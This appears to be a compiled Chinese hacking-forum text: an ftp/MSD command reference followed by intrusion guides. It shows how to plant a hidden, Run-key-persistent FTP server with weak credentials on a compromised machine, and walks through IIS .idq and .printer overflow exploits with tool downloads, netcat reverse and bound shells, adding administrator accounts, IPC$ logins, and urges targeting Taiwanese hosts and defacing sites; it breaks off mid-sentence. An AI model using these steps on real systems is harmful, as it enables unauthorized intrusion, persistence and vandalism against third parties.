3格式:MSD[/I][/B][/S]

4使用说明:

(1)选用/I参数时,不检测硬件;

(2)选用/B参数时,以黑白方式启动MSD;

(3)选用/S参数时,显示出简明的系统报告。   


?ftp的命令行格式为:ftp    -v    -d    -i    -n    -g[主机名]    

  -v    显示远程服务器的所有响应信息。    

  -d    使用调试方式。    

  -n    限制ftp的自动登录,即不使用.netrc文件。    

  -g    取消全局文件名。    

  ftp使用的内部命令如下(其中括号表示可选项):    

  1.![cmd[args]]在本地机中执行交互shell、exit回到ftp环境,如!ls*.zip。    

  2.¥    macro-ame[args]执行宏定义macro-name。    

  3.account[password]提供登录远程系统成功后访问系统资源所需的补充口令。    

  4.appendlocal-file[remote-file]将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。    

  5.ascii    使用ascii类型传输方式。    

  6.bell每个命令执行完毕后计算机响铃一次。    

  7.bin使用二进制文件传输方式。    

  8.bye退出ftp会话过程。    

  9.case在使用mget时,将远程主机文件名中的大写转为小写字母。    

  10.cd    remote-dir    进入远程主机目录。    

  11.cdup进入远程主机目录的父目录。    

  12.chmod    modefile-name将远程主机文件file-name的存取方式设置为mode,如chmod    777    a.out。    

  13.close中断与远程服务器的ftp会话(与open对应)。    

  14.cr使用asscii方式传输文件时,将回车换行转换为回行。    

  15.delete    remote-file删除远程主机文件。    

  16.debug[debug-value]设置调试方式,显示发送至远程主机的每条命令,如debup    3,若    设为0,表示取消debug。    

  17.dir[remote-dir][local-file]显示远程主机目录,并将结果存入local-file。    

  18.disconnection同close。    

  19.form    format将文件传输方式设置为format,缺省为file方式。    

  20.getremote-file[local-file]将远程主机的文件remote-file传至本地硬盘的local-file。    

  21.glob设置mdelete、mget、mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。    

  22.hash每传输1024字节,显示一个hash符号(#)。    

  23.help[cmd]显示ftp内部命令cmd的帮助信息,如help    get。    

  24.idle[seconds]将远程服务器的休眠计时器设为[seconds]秒。    

     25.image设置二进制传输方式(同binary)    

     26.lcd[dir]将本地工作目录切换至dir。    

     27.ls[remote-dir][local-file]显示远程目录remote-dir,并存入本地local-file。    

     28.macdef    macro-name定义一个宏,遇到macdef下的空行时,宏定义结束。    

     29.mdelete[remote-file]删除远程主机文件。    

     30.mdir    remote-files    local-file与dir类似,但可指定多个远程文件,如mdir*.o.*.    zipoutfile。    

     31.mget    remote-files传输多个远程文件。    

     32.mkdir    dir-name    在远程主机中建一目录。    

     33.mls    remote-file    local-file同nlist,但可指定多个文件名。    

     34.mode[mode-name]将文件传输方式设置为mode-name,缺省为stream方式。    

     35.modtime    file-name显示远程主机文件的最后修改时间。    

     36.mput    local-file将多个文件传输至远程主机。    

     37.newerfile-name如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。    

38.nlist[remote-dir][local-file]显示远程主机目录的文件清单,并存入本地硬盘的local-file。    

     39.nmap[inpatternoutpattern]设置文件名映射机制,使得文件传输时,文件中的某些字符相互转换,如nmap¥1.¥2.¥3[¥1,¥2].[¥2,¥3],则传输文件a1.a2.a3时,文件名变为a1、a2,该命令特别适用于远程主机为非U-NIX机的情况。    

     40.ntrans[inchars[outchars]]设置文件名字符的翻译机制,如ntrans1R,则文件名LL    L将变为RRR。    

     41.open    host[port]建立指定ftp服务器连接,可指定连接端口。    

     42.passive进入被动传输方式。    

     43.prompt设置多个文件传输时的交互提示。    

     44.proxyftp-cmd在次要控制连接中,执行一条ftp命令,该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。    

     45.put    local-file[remote-file]将本地文件local-file传送至远程主机。    

     46.pwd显示远程主机的当前工作目录。    

     47.quit同bye,退出ftp会话。    

     48.quote    arg1,arg2……将参数逐字发至远程ftp服务器,如quote    syst。    

     49.recv    remote-file[local-file]同get。    

     50.regetremote-file[local-file]类似于get,但若local-file存在,则从上次传输中断处续传。    

     51.rhelp[cmd-name]请求获得远程主机的帮助。    

     52.rstatus[file-name]若未指定文件名,则显示远程主机的状态,否则显示文件状态。    

     53.rename[from][to]更改远程主机文件名。    

     54.reset清除回答队列。    

     55.restart    marker从指定的标志marker处,重新开始get或put,如restart    130。    

     56.rmdir    dir-name删除远程主机目录。    

     57.runique设置文件名唯一性存储,若文件存在,则在原文件后加后缀。    

     58.send    local-file[remote-file]同put。    

     59.sendport设置PORT命令的使用。    

     60.site    arg1,arg2……将参数作为SITE命令逐字发送至远程ftp主机。    

     61.size    file-name显示远程主机文件大小,如site    idle    7200。    

     62.status显示当前ftp状态。    

  63.struct[struct-name]将文件传输结构设置为struct-name,缺省时使用stream结构。    

64.sunique将远程主机文件名存储设置为唯一(与runique对应)。    

  65.system显示远程主机的操作系统类型。    

  66.tenex将文件传输类型设置为TENEX机所需的类型。    

  67.tick设置传输时的字节计数器。    

  68.trace设置包跟踪。    

  69.type[type-name]设置文件传输类型为type-name,缺省为ascii,如typebinary,设置    二进制传输方式。

  70.umask[newmask]将远程服务器的缺省umask设置为newmask,如umask    3。    

  71.useruser-name[password][account]向远程主机表明自己的身份,需要口令时,必须输入口令,如user    anonymous    my@email。    

  72.verbose同命令行的-v参数,即设置详尽报告方式,ftp服务器的所有响应都将显示给用户,缺省为on.    

  73.?[cmd]同help。    

  

那么如何应用这些命令提高效率呢?下面我举一个例子,如何利用fttp进行后台下载,假设你的ISP给你提供了shell并且可以用nohup,你想由fttp.download.com/pub/internet/下载一个30M的程序aaa.zip具体步骤如下:    

  1.用notepad做一个文件如aaa1内容如下    

      open    ftp.dwonload.com    

      user    anonymous    zyz@cenpok.net    

      cd    /pub/internet/    

      i    

      get    aaa.zip    

      close    

      bye    

      2.拨号登录到你的ISP上。用telnet    或netterm登录到shell,一般都在你的home子目录里bbs~/    

      3.用fttp上传aaa1到ISP服务器你的子目录。    

      4.    执行nohup    fttp    -invd    aaa2&    

  这样这个进程就被放在ISP服务器的后台进行了,如果你想知道情况如何,可以more    aaa2就可以知道情况如何了。这时你可以断线了或干点别的,估计时间到了(time约=30M/(33.6K/9)s)拨号上去,more    aaa2如果显示成功下载aaa.zip就表示aaa.zip已经被下载到ISP的服务器上了,你再由ISP的服务器拉回来就相当与点对点了,记得下载完成后del掉你的文件(aaa.zip),免得浪费ISP资源,它会关掉shell的。   


?我们在入侵别人机器时候,经常需要一个ftp服务器。去申请的主页空间附带的ftp服务器常常有各种限制,而且,不小心就会暴露了自己的身份。因此,建立一个自己专用的ftp服务器,是很有用的。经过我一阵疯狂搜索,终于找到了slimftp这个好东东,首先,它身材小巧,而且不需要安装,在console下就可以运行,绝对不会弹出窗口,提供了标准的上传、下载功能,而且可以更改服务端口、设置用户权限等。关于slimftp的功能,请参考它的说明文档。    

在这里,我假定大家已经获得了一个管理员或者系统权限的shell,这是安装它必需的权限。    

安装步骤:安装步骤分为本地设置和服务器设置。    

本地设置:将本文附带的文件全部放在一个文件夹里面,这里是d:\ftp,然后运行adminftp.exe。运行窗口分成三部分,最上面是服务器的参数的设置,左下方是用户帐号的设置,右下方是访问目录的设置。    

对于服务器参数的设置,只需要对server    port(服务器端口)进行一下设置就可以了,因为服务器上通常还运行有ftp服务器,所以,我们改一个不一样的端口,这里我是设置了3323,另外两个参数就不用管了。然后,我们再添加一个用户,点一下new,输入一个用户名root,再选中这个用户,输入一个密码nopass    。最后,在localroot上输入一个路径c:\,这是作为root用户的根目录的,点一下new,在弹出的窗口上输入    /    就可以了,再将下面的四个权限全部钩上吧。read权限允许用户下载文件,write权限允许用户上传文件,list权限允许用户看目录列表,admin权限允许用户重命令和删除ftp服务器上的文件。如果需要,还可以创建多个用户,这就要看你了。    

进入命令行,切换目录到d:\ftp,输入    

reg    export    "HKLM\SOFTWARE\WhitSoft    Development"    ftp.reg    

现在本地操作已经全部完成了。    

远程操作:将ftp.reg、slimftp2.exe、reg.exe都上传到肉鸡上,然后将slimftp2.exe拷贝到肉鸡的系统目录(通常为c:\winnt\****32,假如不存在)上。再运行    

reg    import    ftp.reg    

reg    add    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run    /v    Winsock2up    /d    slimftp2.exe    

copy    slimftp2.exe    %****root%\****32    

slimftp2.exe    

运行copy    slimftp2.exe    %****root%\****32这步的时候有时会提示出错,这是因为slimftp2.exe已经是在系统目录上了。最后,删除ftp.reg吧!。    

呵呵,一切都完成了,即使肉鸡重启我们的ftp服务器也会照样运行的。    

不过,这个服务器的端口有点特别,我们怎么访问呢?    

假如是用ie,这样输入就好了    ftp://root:nopass@192.168.0.1:3323/    将192.168.0.1替换成你服务器的ip就可以了。dos下的ftp呢?这样!    

ftp    

open    192.168.0.1    3323    

root    

nopass    

     

注意事项:你可以将slimftp2.exe的文件名、服务端口更改,但是,相应的步骤输入也应该更改。    

比如,我将slimftp2.exe改名叫wsockup.exe,那么,    

reg    add    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run    /v    Winsock2up    /d    slimftp2.exe    

就应该变为    

reg    add    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run    /v    Winsock2up    /d    wsockup.exe   


?近日在奇兵兄的网站看到了一篇特别适合我们这种菜鸟的文章,特地借来让大家看看。    

好了,不在说了!我们开始吧!大家一定听说过.ida&.idq漏洞了吧!一个很简单,有实用的东东!菜鸟最适合了,什么,你等不及了啊,好好好,我这就说!    

去这里看看吧~    http://www.cnqb.net/soft/idq.zip    

http://www.cnqb.net/down/    

有两个程序,IISMiscOverflowV1_Build0010.exe和IISIDQOverflowV1_Build0010.exe    

下载运行前者出现了程序的主界面.    

看看我的实战吧~~~    

首先找到有.idq漏洞的机器,流光可以扫描到.很多的.随便来一个.    最好扫台湾的哦!什么地址!!!!!你没地址吗,好好好,算我考虑周到,给个给你,要是没扫到的话自己想办法,告诉你到新浪搜索一下台湾的不就有很多了吗!    

在被攻击IP地址后面写上对方的IP.端口号一般不需要改动.    

左面选择操作系统类型.先选择IIS5    English    Win2k    Sp0吧~    

软件的默认绑定CMD.EXE的端口是813.不改了.用默认吧~~~    

点击IDQ溢出~~OK~~出现发送Shellcode成功的提示了.    

都说nc比telnet强大.用nc吧~    

##########注意:DOS状态###########    

E:\>nc    -vv    XXX.XXX.XXX.XXX    813    

XXX.XXX.XXX.XXX:    inverse    host    lookup    failed:    h_errno    11004:    NO_DATA    

(UNKNOWN)    [XXX.XXX.XXX.XXX]    813    (?):    connection    refused    

sent    0,    rcvd    0:    NOTSOCK    

E:\>    

看来没成功.    别灰心,在来一次嘛!    

换用IIS5    English    Win2k    Sp1再试!    

E:\>nc    -vv    XXX.XXX.XXX.XXX    813    

XXX.XXX.XXX.XXX:    inverse    host    lookup    failed:    h_errno    11004:    NO_DATA    

(UNKNOWN)    [XXX.XXX.XXX.XXX]    813    (?)    open    

Microsoft    Windows    2000    [Version    5.00.2195]    

(C)    Copyright    1985-2000    Microsoft    Corp.    

C:\WINNT\system32>    

OK!!!终于上来了...往下不用我再教你了吧~~~~你不用在向用unicode那样害怕权限不够了.你现在可是system权限.好了慢慢玩吧~    

这个软件非常不错.但是还提供了对中文IIS的攻击.请大家慎用~~~小心了!!!!!!    

其实这篇文章想介绍命令行版本.但是我运行命令行版本时总是出现错误.运行不成功.自己去试一下吧~~~    

最后再嘱咐一声~~~不要对国内主机做什么!!!危险!!!!!    爱国哦!记住没有啊!    

中午饭都还没有吃呢!    

########################################################################################    

接下来就是IISIDQOverflowV1_Build0010.exe了!为了方便,可以把他改名比如idq.exe    

在DOS状态下(假设idq.exe在c:\下)    

c:\idq.exe    

运行参数:    操作系统类型    目的地址    web端口    溢出端口    

支持的操作系统    类型:    ----    

0    --    IIS5中文Win2k    Sp0    

1    --    IIS5中文Win2k    Sp1    

2    --    IIS5中文Win2k    Sp2    

3    --    IIS5    English    Win2k    Sp0    

4    --    IIS5    English    Win2k    Sp1    

5    --    --not    support    --    IIS5    English    Win2k    Sp2    

6    --    IIS5    Japanese    Win2k    Sp0    

7    --    IIS5    Japanese    Win2k    Sp1    

8    --    --not    support    --    IIS5    Japanese    Win2k    Sp2    

IIS5    IDQ    Overflow.    by    snake.    (http://snake12.top263.net)    2000/07    

c:\>idq    3    XXX.XXX.XXX.XXX80    456    

连接目的机器    XXX.XXX.XXX.XXX:80    OK.    

发送shellcode    到    XXX.XXX.XXX.XXX:80    OK    

现在,你可以    连接    该主机的    端口    456了,good    luck.!    

都祝我好运了.开始吧~~~    

c:\>nc    -vv    XXX.XXX.XXX.XXX    456    

mail.rycf.org    [XXX.XXX.XXX.XXX]    456    (?):    connection    refused    

sent    0,    rcvd    0:    NOTSOCK    

没成功.试试sp1.    

c:\>idq    4    XXX.XXX.XXX.XXX    80    888    

连接目的机器    XXX.XXX.XXX.XXX:80    OK.    

发送shellcode    到    XXX.XXX.XXX.XXX:80    OK    

现在,你可以    连接    该主机的    端口    888了,good    luck.!    

c:\>nc    -vv    XXX.XXX.XXX.XXX    888    

XXX.XXX.XXX.XXX:    inverse    host    lookup    failed:    h_errno    11004:    NO_DATA    

(UNKNOWN)    [XXX.XXX.XXX.XXX]    888    (?)    open    

Microsoft    Windows    2000    [Version    5.00.2195]    

(C)    Copyright    1985-2000    Microsoft    Corp.    

C:\WINNT\system32>    

呵呵!OK!现在你想干什么啊!把他的主页换成自己的怎么样啊!怎么不懂啊!    

那我也没办法了,不懂就来请教我怎么样啊!http;//www.cnqb.net    

本篇文章有什么不足之处望指出!本人先谢了!   


?国产.printer远程溢出攻击软件使用实例    

1、小榕的IIS5Exploit    

严格地说,这软件并不是小榕写的,这软件是小榕根据jill.c改编优化部分代    

码编译出来的。不过这软件确实很好,特别推荐大家使用。    

下载地址http://www.netxeyes.com/IIS5Exploit.zip    

压缩包里含有三个文件IIS5Exploit.exe、nc.exe、readme.txt    

IIS5    .Printer    Exploit    使用说明    

-----------------以下是readme.txt的内容    

本程序适用于英文版IIS    5.0    

1、首先在本机用NC开一个监听端口。    

C:\>nc    -l    -p    99    

2、运行IIS5Exploit    

D:\>jill    xxx.xxx.xxx.xxx    211.152.188.1    333    

===========IIS5    English    Version    .Printer    Exploit.===========    

===Written    by    Assassin    1995-2001.    http://www.netXeyes.com===    

Connecting    211.152.188.1    ...OK.    

Send    Shell    Code    ...OK    

IIS5    Shell    Code    Send    OK    

其中211.152.188.1指向本地IP。    

稍等片刻,如果成功在本机NC监听的端口出现:    

C:\>nc    -l    -p    99    

Microsoft    Windows    2000[Version    5.00.2195]    

(C)    Copyright    1985-1999    Microsoft    Corp.    

C:\>    

可以执行命令。如:    

C:\>net    user    hack    password    /add    

The    command    completed    successfully.    

C:\>net    localgroup    administrartors    hack    /add    

这样就创建了一个属于Administrator组的用户Hack,密码为password.    

-----------------------------------------------------------------    

使用说明解释:    

使用这软件实际上要开两个MS-DOS窗口,首先运行nc    -l    -p    99    当然也可以    

把端口定义为其他的,建议把开的端口改高些,避免在测试的同时恰好别人    

在扫描你的端口,影响你正常的测试,小榕在写这说明时也许很急,写运行    

运行IIS5Exploit也没写好,正确的是    

IIS5Exploit    目标主机的IP    攻击者IP    99(要与自己NC开的端口一致)    

为了攻击的成功率高,首先必须要明确所攻击的目标主机一定是开有    

http\https服务的win2k。我们可以通过telnet目标主机的80端口get    index.htm    

来判断对方win2k的版本是不是Microsoft    Windows    2000[Version    5.00.2195]    

也可以用eyas提供的ScanPrinter来扫描获得。    

2、sunx.org提供的iis5hack    

下载地址http://www.sunx.org/mysoft/iis5hack.zip    

运行参数    

iis5hack    

     中文WIN2K:         0    

     中文WIN2K    sp1:       1    

     英文WIN2K:         2    

     英文WIN2K,    sp1:          3    

     日文WIN2K:         4    

     日文WIN2K,    sp1:          5    

E:\HACK\print>iis5hack    63.110.130.66    80    3    

iis5    remote    .printer    overflow.    writen    by    sunx    

     http://www.sunx.org    

     for    test    only,    dont    used    to    hack,    

connecting...    

sending...    

Now    you    can    telnet    to    99    port    

good    luck    

c:\telnet    63.110.130.66    99    

Microsoft    Windows    2000    [Version    5.00.2195]    

(C)    Copyright    1985-2000    Microsoft    Corp.    

C:\WINNT\system32>    

已经进入目标主机,你想干什么就是你的事啦。该软件的优点是针对多种语    

言版本的WIN2K系统,缺点,溢出成功后目标主机的IIS停止服务,并且得到    

SHELL后要在较短时间内完成你想做的事,时间长的话连SHELL、IIS都会死    

掉;不能随意定义目标主机的SHELL端口。    

在退出TELNET服务时也一定要记住正常exit退出,否则目标主机的IIS也会死。    

呵呵,我在测试过程中发现只是两三分钟时间对方的IIS就死了,看来把这软    

件当做拒绝服务攻击型的软件也不错哦。    

3、isno.yeah.net提供的cniis、iisx    

isno最新的.printer漏洞攻击软件是iisx,是CNIIS的升级版本,按找作者的    

使用说明我们可以看到:    

使用方法:    iisx    

       

        sp:    0    ---    目标没有安装SP    ,    1    ---    目标安装了SP1    

提供三种对IIS5    .printer漏洞的攻击方式:    

      

-p    ---    对攻击目标运行iisx    66.77.88.99    0    -p    

   在66.77.88.99上开一个端口7788,可以直接telnet    66.77.88.99    7788    

-a    ---    对攻击目标运行iisx    66.77.88.99    0    -a    

      在66.77.88.99上添加一个管理员帐号:hax,其密码也为hax,    

   可以使用net    use    \\66.77.88.99\ipc$    "hax"    /user:"hax"建